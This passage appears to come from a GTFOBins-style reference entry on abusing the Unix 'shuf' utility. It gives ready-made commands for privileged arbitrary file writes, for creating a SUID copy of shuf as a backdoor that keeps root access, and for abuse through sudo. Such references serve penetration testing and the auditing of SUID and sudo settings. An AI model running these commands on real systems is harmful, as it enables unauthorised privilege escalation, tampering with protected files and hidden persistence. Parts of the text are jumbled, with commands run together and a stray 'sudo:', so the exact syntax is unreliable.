The read file content is corrupted by adding a newline.
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_write shuf -e DATA -o "$LFILE"
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To exploit an existing SUID binary skip the first command and run the program using its original path.
sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf' LFILE=file_to_write ./shuf -e DATA -o "$LFILE" sudo:
sudo sh -c 'cp $(which shuf) .; chmod +s ./shuf' LFILE=file_to_write sudo shuf -e DATA -o "$LFILE"